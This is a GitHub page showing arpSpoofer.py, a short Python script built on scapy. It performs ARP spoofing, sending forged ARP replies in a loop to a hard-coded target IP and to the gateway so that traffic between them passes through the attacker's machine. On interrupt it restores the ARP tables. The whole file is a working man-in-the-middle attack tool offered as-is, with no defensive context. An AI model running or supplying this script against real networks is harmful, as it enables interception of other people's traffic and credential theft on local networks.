-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy patharpSpoofer.py
executable file
·51 lines (41 loc) · 1.49 KB
/
arpSpoofer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import scapy.all as scapy
import time
def get_mac(ip):
arpRequest = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arpRequest_broadcast = broadcast / arpRequest
answeredList = scapy.srp(arpRequest_broadcast, timeout=5, verbose=False)[0]
if answeredList:
return answeredList[0][1].hwsrc
else:
return None
def spoof(targetIP, spoof_ip):
packet = scapy.ARP(op=2, pdst=targetIP, hwdst=get_mac(targetIP), psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip, source_ip):
destinationMAC = get_mac(destination_ip)
sourceMAC = get_mac(source_ip)
packet = scapy.ARP(
op=2,
pdst=destination_ip,
hwdst=destinationMAC,
psrc=source_ip,
hwsrc=sourceMAC,
)# router is at this mac address
scapy.send(packet, count=4, verbose=False)
targetIP = "192.168.33.248"
gatewayIP = "192.168.33.31"
# ip route show | grep -i 'default via'| awk '{print $3 }' to find the host ip
try:
sent_packets_count = 0
while True:
spoof(targetIP, gatewayIP)
spoof(gatewayIP, targetIP)
sent_packets_count = sent_packets_count + 2
print("\r[*] Packets Sent " + str(sent_packets_count), end="")
time.sleep(2) # Waits for two seconds
except KeyboardInterrupt:
print("\nCtrl + C Detected.............resetting ARP Tables........................Exiting")
restore(targetIP, gatewayIP)
restore(gatewayIP, targetIP)
print("[+] Arp Spoof Stopped")